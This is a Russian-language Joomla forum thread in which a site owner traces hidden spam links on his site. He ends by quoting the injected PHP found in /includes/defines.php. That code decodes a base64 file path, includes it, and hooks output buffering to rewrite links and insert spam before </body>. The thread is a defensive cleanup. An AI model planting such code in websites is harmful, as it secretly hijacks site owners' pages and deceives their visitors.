0 Пользователей и 1 Гость просматривают эту тему.
  • 15 Ответов
  • 525 Просмотров
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Проблема в следующем, в конце страницы подгружается скрытая ссылка, внешне не видно, но поисковики находят. На разных страницах ссылки разные.
Код
<div id="ln330" style="display: none;">
<a target="_blank" href="http://www.intech-gmbh.ru/chemia_screw_pumps.php">винтовой насос для нефтепродуктов</a>
</div>
<script type="text/javascript">
document.getElementById('ln330').style.display='none';
</script>

Перерыл всё, словосочетаний таких нет, откуда подгружает не могу понять. Подскажите, куда смотреть и как бороться?
index.php в шаблонах проверил.
*

wishlight

  • Живу я здесь
  • 3879
  • 239 / 1
  • skype aqaus.com
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Да, забыл.
« Последнее редактирование: 26.06.2014, 18:09:44 от Отшельник »
*

wishlight

  • Живу я здесь
  • 3879
  • 239 / 1
  • skype aqaus.com
Кажись с вас ссылки продают. Скриптом айболит можете попрочесывать. А так вообще надо искать причину.
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Похоже что продают, но как не могу понять. В какую сторону смотреть то хоть?
*

draff

  • Живу я здесь
  • 3030
  • 203 / 5
  • step by step
Цитировать
index.php в шаблонах проверил.
И что искал ? Ищи левую папку с файлами сапы
Выложи под спойлер index.php шаблона
Удалю вирус, js miner с сайта. Обновление Virtuemart. Тема в коммерческом разделе     |    Отзывы
Создам плагин , модуль под заказ для VirtueMart , JoomShopping
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Левых не нашёл, если только где-то глубоко.
А под спойлер какую часть шаблона?
*

draff

  • Живу я здесь
  • 3030
  • 203 / 5
  • step by step
А что большая простыня index.php?
Вообще то нужно обновлять до 2.5.22
Удалю вирус, js miner с сайта. Обновление Virtuemart. Тема в коммерческом разделе     |    Отзывы
Создам плагин , модуль под заказ для VirtueMart , JoomShopping
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
В index.php ничего подозрительного.
Обновлять неудобно, много расширений, боюсь слетят.
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Выяснил следующее:
Скрипт всегда подписывается перед </body> . Удалил тэг и скрипт не подписывается.
*

draff

  • Живу я здесь
  • 3030
  • 203 / 5
  • step by step
Re: На сайт добавляется скрытая ссылка
« Ответ #10 : 24.06.2014, 23:17:27 »
index.php в корне сайта ?
Удалю вирус, js miner с сайта. Обновление Virtuemart. Тема в коммерческом разделе     |    Отзывы
Создам плагин , модуль под заказ для VirtueMart , JoomShopping
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: На сайт добавляется скрытая ссылка
« Ответ #11 : 24.06.2014, 23:32:35 »
Нет, в тот который в шаблоне.
В корневом index.php разметки нет.

Я так понимаю, что тэг body для него какой-то крайней точкой является и он где то вставляется перед ним, но каким образо пока не понял.
*

draff

  • Живу я здесь
  • 3030
  • 203 / 5
  • step by step
Re: На сайт добавляется скрытая ссылка
« Ответ #12 : 24.06.2014, 23:45:38 »
Нет, в тот который в шаблоне.
В корневом index.php разметки нет.
Ты проверь index.php в корне сайта, есть вставки кода после ?
Код
// Return the response.
echo $app;
Было недавно- отключай поочередно плагины сторонние
Удалю вирус, js miner с сайта. Обновление Virtuemart. Тема в коммерческом разделе     |    Отзывы
Создам плагин , модуль под заказ для VirtueMart , JoomShopping
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: На сайт добавляется скрытая ссылка
« Ответ #13 : 25.06.2014, 00:20:01 »
Содержимое index.php в корне в порядке, заканчивается на
Код
echo $app;
Попробую с плагинами разобраться.
*

Отшельник

  • Осваиваюсь на форуме
  • 39
  • 0 / 0
Re: На сайт добавляется скрытая ссылка
« Ответ #14 : 26.06.2014, 18:11:48 »
Проблему решил. Может кому в будущем поможет в решении такой же проблемы. Искал по base64_decode
Итак, проблема была в файле /includes/defines.php
В конце файла было дописано следующее:
Код
define('DZR', base64_decode(& #39;L2hvbWUvcDMzMjYvd3d3L2R6bS1rLnJ1L2NvbXBvbmVudHMvY29tX2Jhbm5lcnMvaGVscGVycy9i
YW5uZXJzLnBocA=='));
if ( file_exists (DZR) ) { ob_start(); require_once(DZR); ob_end_clean(); } if ( !defined('RSLT') ) define('RSLT', '');
ob_start("callbck"); function callbck($buff_obs) { if ( defined('DZTR') ) return DZTR;
if ( defined('NIND') ) { $buff_obs = ereg_replace("http://".NIND, "_http://".NIND, $buff_obs);
$buff_obs = preg_replace("/<a href=[\",'](http.*?)[\",']/", "<a href=\"javascript:void(0);\" onClick=\"window.location.href='$1'\"", $buff_obs);
$buff_obs = preg_replace("/<a href=(http.*?) /", "<a href=\"javascript:void(0);\" onClick=\"window.location.href='$1'\"", $buff_obs);
$buff_obs = ereg_replace("_http://".NIND, "http://".NIND, $buff_obs);}
return (ereg_replace("</body>", RSLT."\n</body>", $buff_obs)); }

Как я понимаю искался как раз мой закрывающий </body> и перед ним вписывалось непонятное. Всё, теперь ссылка не подписывается.

Самое интересное то что искал в недавно изменённых файлах, а этот файл не изменялся с момента установки, хотя исходник чистый.
*

ELLE

  • Глобальный модератор
  • 4502
  • 874 / 0
  • человек-оркестр
Re: На сайт добавляется скрытая ссылка
« Ответ #15 : 26.06.2014, 19:01:55 »
дату подменяют, на это давно не смотрят
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как запретить загрузку изображений при добавлении новости через сайт

Автор jonnyzero

Ответов: 2
Просмотров: 745
Последний ответ 13.02.2018, 19:05:38
от kasper9820
Вставка iframe на сайт с динамическими параметрами ширины

Автор SvetlovPhoto

Ответов: 12
Просмотров: 284
Последний ответ 10.12.2017, 10:26:55
от SvetlovPhoto
"Ошибка 404 - Материал нее найден" как заходишь на сайт

Автор Lepby

Ответов: 16
Просмотров: 17138
Последний ответ 25.11.2017, 13:34:42
от G_islam05
Не заходит на сайт. Error 500

Автор Маргарита

Ответов: 4
Просмотров: 1055
Последний ответ 01.11.2017, 10:29:54
от draff
Вирус. Редерикт на другой сайт

Автор net33

Ответов: 12
Просмотров: 1032
Последний ответ 31.10.2017, 09:54:41
от SeBun